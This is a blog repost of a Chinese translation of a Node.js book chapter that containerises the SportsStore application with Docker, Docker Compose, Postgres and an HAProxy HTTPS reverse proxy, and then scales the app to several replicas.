npx tsc 

创建 SportsStore 镜像

sportsstore文件夹中运行列表 21.19中显示的命令,以创建包含 SportsStore 应用程序的镜像。

列表 21.19:创建 sportsstore 镜像

docker build . -t sportsstore -f Dockerfile 

当图像创建时,你将看到类似以下输出的内容:

[+] Building 25.6s (17/17) FINISHED    docker:default
 => [internal] load build definition from Dockerfile
=> => transferring dockerfile: 785B
=> [internal] load metadata for docker.io/library/node:20.10.0
=> [auth] library/node:pull token for registry-1.docker.io
=> [internal] load .dockerignore
=> => transferring context: 52B
=> [internal] load build context 
=> => transferring context: 60.69kB
=> [ 1/11] FROM docker.io/library/node:20.10.0@sha256:8d0f16fe841577f9317ab49011c6d819e1fa81f8d
=> CACHED [ 2/11] RUN mkdir -p /usr/src/sportsstore
=> CACHED [ 3/11] COPY dist /usr/src/sportsstore/dist
=> CACHED [ 4/11] COPY templates /usr/src/sportsstore/templates
=> CACHED [ 5/11] COPY products.json /usr/src/sportsstore/
=> CACHED [ 6/11] COPY server.config.json /usr/src/sportsstore/
=> CACHED [ 7/11] COPY production.server.config.json /usr/src/sportsstore/
=> CACHED [ 8/11] COPY package.json /usr/src/sportsstore/
=> CACHED [ 9/11] WORKDIR /usr/src/sportsstore
=> [10/11] RUN npm install --omit=dev
=> [11/11] RUN npm install wait-for-it.sh@1.0.0  
=> exporting to image
=> => exporting layers
=> => writing image sha256:4b2f72d561dfbe21695573d7f448bc6ada3a9c4802bc5a70b8af1676e82c1fcd 
=> => naming to docker.io/library/sportsstore 

此命令可能需要一段时间才能运行,因为必须下载 Node.js 镜像,并且 SportsStore 应用程序所需的包必须安装。

组合应用程序和数据库服务器

下一步是创建配置文件,该文件指定如何使用 SportsStore 和 Postgres 镜像来创建容器。这一步骤取决于容器将如何部署,有多个选项。所有主要的云平台都提供使用容器的支持,并且配置必须根据目标平台的需求和功能进行调整。

对于本章,我将使用 Docker Compose,这是 Docker Desktop 内置的工具。你可能不会在你的项目中使用 Docker Compose,但它具有你将遇到的相同核心功能,无论你如何部署,它都使得组合和测试容器以创建完整的应用程序变得容易。将一个名为 docker-compose.yml 的文件添加到 sportsstore 文件夹中,其内容如 列表 21.20 所示。

列表 21.20:sportsstore 文件夹中 docker-compose.yml 文件的内容

version: "3"
volumes:
  databases:
services:
  postgres:
    image: "postgres:16.2"
    volumes:
      - databases:/var/lib/postgresql/data
    environment:
      - POSTGRES_PASSWORD=MySecret$

  sportsstore:
    image: "sportsstore"
    depends_on:
      - postgres
    ports:
      - 5000:5000 

文件的格式是 YAML,它对缩进很敏感,内容必须与显示的完全一致。大多数代码编辑器,包括 Visual Studio Code,都包含 YAML 语法高亮,这有助于识别内容或格式错误。

列表 21.20 中的配置告诉 Docker Compose 创建两个容器。第一个,将被命名为 postgres,包含数据库服务器。此服务配置了一个卷,这是 Docker 用于持久化数据的特性,没有它,数据库的内容将会丢失。

第二个,命名为 sportsstore,包含应用程序。sportsstore 容器被配置为将端口 5000 导出至主机操作系统,以便它可以接收 HTTP 请求。容器之间的通信使用服务名称作为主机名,这就是为什么 列表 21.17 将数据库服务器的名称更改为 postgres

sportsstore 文件夹中运行 列表 21.21 中显示的命令以准备容器。

列表 21.21:准备容器

docker-compose build 

sportsstore 文件夹中运行 列表 21.22 中显示的命令以启动容器。

列表 21.22:启动容器

docker-compose up 

Docker 将创建并启动数据库服务器和应用程序的容器,并显示它们生成的控制台消息。等待片刻,以便容器启动,然后使用浏览器请求 http://localhost:5000。数据库将是空的,但可以使用管理工具填充,如图 21.5 所示。

图 21.5:使用 Docker Compose

应用程序和数据库服务器各自运行在一个容器中,并且可以相互通信。容器之间用于通信的网络是由 Docker 创建和管理的。

设置 HTTPS 反向代理

下一步是引入 HTTPS 的支持,这将由一个名为 HAProxy 的代理软件包处理(www.haproxy.org)。有许多代理软件可用,但这是我多年来一直在使用且始终认为可靠的软件之一。

为了准备代理,将你的证书和密钥文件以 cert.pemkey.pem 的名称复制到 sportsstore 文件夹中。第五章 包含创建免费自签名证书的说明,或者你可以从本章的 GitHub 项目中复制文件,该项目包含我创建的自签名证书。

您可以使用真实的证书,但必须确保与证书关联的域名解析到您运行容器的机器上,这可能很难安排。

要创建代理配置文件,请将名为 haproxy.cfg 的文件添加到 sportsstore 文件夹中,其内容如 列表 21.23 所示。

列表 21.23:sportsstore 文件夹中 haproxy.cfg 文件的内容

defaults
    mode http
    timeout connect 5000
    timeout client  50000
    timeout server  50000
resolvers dockerdns
    nameserver dns1 127.0.0.11:53
frontend localnodes
    bind *:80
    bind *:443 ssl crt /usr/local/etc/haproxy/cert.pem
    http-request redirect scheme https unless { ssl_fc }
    default_backend app
backend app
    balance roundrobin
    server-template sportsstore- 5 sportsstore:5000 check resolvers dockerdns 

此配置设置代理以监听端口 80 和端口 443。HTTP 请求将被重定向以使用 HTTPS。HTTPS 请求将被转发到 SportsStore,SportsStore 通过查询 Docker 提供给容器的 DNS 来定位。DNS 的使用允许多个 sportsstore 容器运行,并且代理可以在它们之间分配请求。

sportsstore 文件夹中添加一个名为 Dockerfile.proxy 的文件,其内容如 列表 21.24 所示。

列表 21.24:sportsstore 文件夹中 Dockerfile.proxy 文件的内容

FROM haproxy:2.9.6
COPY haproxy.cfg /usr/local/etc/haproxy
COPY cert.pem /usr/local/etc/haproxy
COPY key.pem /usr/local/etc/haproxy/cert.pem.key 

FROM 命令使用 haproxy 镜像创建新的容器,COPY 命令将配置和证书文件包含在镜像中。运行 列表 21.25 中显示的命令来创建代理的镜像。

列表 21.25:创建代理镜像

docker build . -t ss-proxy -f Dockerfile.proxy 

更新 OAuth URL

端口更改和强制使用 HTTPS 需要更改 SportsStore 配置以反映 OAuth 重定向 URL,如 列表 21.26 所示。

列表 21.26:更新 sportsstore 文件夹中的 production.server.config.json 文件中的 URL

{
    "catalog": {
        "orm_repo": {
            "reset_db": false,           
            "settings": {
                "dialect": "postgres",
                "host": "postgres",
                "port": "5432",
                "username": "postgres",
                "password": "MySecret$"
            }
        }
    },
    "sessions": {
        "reset_db": false,
        "orm": {
            "settings": {
                "dialect": "postgres",
                "host": "postgres",
                "port": "5432",
                "username": "postgres",
                "password": "MySecret$"
            }
        }       
    },
   ** "auth": {**
 **"openauth": {**
 **"redirectionUrl": "https://localhost/signin-google"**
 **}**
 **},**
 **"****admin": {**
 **"openauth": {**
 **"redirectionUrl": "https://localhost/auth-signin-google"**
 **}**
 **}**
} 

没有这些更改,OAuth 重定向不会被应用程序接收。在 sportsstore 文件夹中运行 列表 21.27 中显示的命令来更新 SportsStore 镜像以反映配置更改。

列表 21.27:更新 SportsStore 镜像

docker build . -t sportsstore -f Dockerfile 

完成配置

最后一步是更新 Docker Compose 文件以添加代理并创建多个 SportsStore 容器,如 列表 21.28 所示。

注意

此配置打开了一些操作系统上受限制的端口,这意味着可能需要超级用户或管理员访问权限。

列表 21.28:在 sportsstore 文件夹中的 docker-compose.yml 文件中完成配置

version: "3"
volumes:
  databases:
services:
  postgres:
    image: "postgres:16.2"
    volumes:
      - databases:/var/lib/postgresql/data
    environment:
      - POSTGRES_PASSWORD=MySecret$

  sportsstore:
    image: "sportsstore"
    depends_on:
      - postgres
 **   # ports:**
 **#   - 5000:5000**
 **deploy:**
 **replicas: 5**
 **proxy:**
 **image: "****ss-proxy"**
 **ports:**
 **- 80:80**
 **- 443:443** 

通过在 sportsstore 文件夹中运行 列表 21.29 中显示的命令来停止所有现有容器。

列表 21.29:停止容器

docker-compose down 

等待容器停止,然后在 sportsstore 文件夹中运行 列表 21.30 中显示的命令来启动数据库、多个 SportsStore 应用程序实例和代理。

列表 21.30:启动容器

docker-compose up 

Docker 将启动总共五个SportsStore容器,所有这些容器都将共享对相同的会话和目录数据的访问。打开浏览器并请求http://localhost,您将被重定向到使用 HTTPS,如图图 21.6所示。如第五章中所述,您可能需要绕过安全警告,因为代理使用的证书是自签名的。

图 21.6:重定向不安全连接

您可以使用管理工具填充数据库。代理配置为依次将请求转发到每个SportsStore容器,您可以在控制台消息中看到这一过程,其中包含每个消息来源的容器名称:

...
**sportsstore-1**  | Executing (default): SELECT "sid", "expires", "data", "createdAt", "updatedAt" FROM "Sessions" AS "Session" WHERE "Session"."sid" = 'eGtcJR_TJhkO3N0gCzXiqsdJWV4exbmU';
**sportsstore-1**  | Executing (default): UPDATE "Sessions" SET "expires"=$1,"updatedAt"=$2 WHERE "sid" = $3; "2024-03-21 23:56:43.319 +00:00", "2024-03-21 21:56:43.319 +00:00", "eGtcJR_TJhkO3N0gCzXiqsdJWV4exbmU"
**sportsstore-5**  | Executing (default): SELECT "sid", "expires", "data", "createdAt", "updatedAt" FROM "Sessions" AS "Session" WHERE "Session"."sid" = 'eGtcJR_TJhkO3N0gCzXiqsdJWV4exbmU';
**sportsstore-5**  | Executing (default): UPDATE "Sessions" SET "expires"=$1,"updatedAt"=$2 WHERE "sid" = $3; "2024-03-21 23:56:43.389 +00:00", "2024-03-21 21:56:43.389 +00:00", "eGtcJR_TJhkO3N0gCzXiqsdJWV4exbmU"
**sportsstore-2**  | Executing (default): SELECT "sid", "expires", "data", "createdAt", "updatedAt" FROM "Sessions" AS "Session" WHERE "Session"."sid" = 'eGtcJR_TJhkO3N0gCzXiqsdJWV4exbmU';
**sportsstore-2**  | Executing (default): UPDATE "Sessions" SET "expires"=$1,"updatedAt"=$2 WHERE "sid" = $3; "2024-03-21 23:56:43.436 +00:00", "2024-03-21 21:56:43.437 +00:00", "eGtcJR_TJhkO3N0gCzXiqsdJWV4exbmU"
... 

代理的配置可以自动检测多达五个 SportsStore 容器的实例,并在容器不可用时停止将请求转发到容器。打开一个新的命令提示符并运行sportsstore文件夹中列表 21.31中显示的命令来禁用一个 SportsStore 容器。

列表 21.31:更改 sportsstore 容器的数量

docker-compose scale sportsstore=4 

命令显示正在运行的容器并停止其中一个,如下所示:

...
Running 6/6
Container sportsstore-postgres-1     Running
Container sportsstore-sportsstore-4  Running
Container sportsstore-sportsstore-3  Running
Container sportsstore-sportsstore-1  Running
Container sportsstore-sportsstore-2  Running
Container sportsstore-sportsstore-5  Removed
... 

代理检测到变化并确定其中一个容器不再可用,产生如下信息:

...
proxy-1        | [WARNING]  (8) : Server app/sportsstore-3 is going DOWN for maintenance (No IP for server ). 4 active and 0 backup servers left. 0 sessions active, 0 requeued, 0 remaining in queue.
... 

容器使用的名称并不总是与 Docker DNS 服务使用的名称相匹配,这就是为什么已停止的容器被命名为sportsstore-sportsstore-5,但代理报告称app/sportsstore-3已停止。

一旦您确认应用程序运行正确,请在sportsstore文件夹中运行列表 21.32中显示的命令来停止所有容器。

列表 21.32:停止应用程序容器

docker-compose down 

Docker 将停止所有容器,更新状态显示,直到所有容器都显示为已移除:

...
[+] Running 7/7
    Container sportsstore-sportsstore-2  Removed                                                                          
  Container sportsstore-proxy-1        Removed                                                                           
   Container sportsstore-sportsstore-3  Removed                                                                          
    Container sportsstore-sportsstore-1  Removed                                                                          
  Container sportsstore-sportsstore-4  Removed                                                                          
    Container sportsstore-postgres-1     Removed                                                                           
    Network sportsstore_default          Removed                                                                           
... 

应用程序已容器化,镜像已准备好部署到生产平台。

摘要

在本章中,我完成了 SportsStore 应用程序并为其部署到容器平台做好了准备。

  • SportsStore 镜像包含 Node.js、代码和资源,以及运行应用程序所需的所有 JavaScript 包。

  • 容器平台提供了网络功能,允许容器进行通信,以便 SportsStore 应用程序可以使用分配给 Postgres 容器的名称向数据库服务器发送请求。

  • 容器平台可以管理容器的实例数量,这使得 SportsStore 应用程序可以扩展以处理更多的请求。

  • HTTPS 请求由代理接收,代理使用容器平台提供的 DNS 服务定位 SportsStore 容器。当容器出现故障时,代理会检测到并停止将该容器的请求转发。

  • 代理将 HTTP 请求重定向到 HTTPS。SportsStore 容器仅接收 HTTP 请求。

  • 容器可以被部署到广泛的平台,包括所有的大型云服务提供商,例如 AWS 和 Azure。

关于使用 Node.js 创建 Web 应用程序的所有内容,我就教到这里。我只希望您阅读这本书的乐趣能和我写作时的乐趣一样,并且祝愿您在 Node.js 项目中取得每一步的成功。

posted @ 2025-10-26 08:59  绝不原创的飞龙  阅读(0)  评论(0)    收藏  举报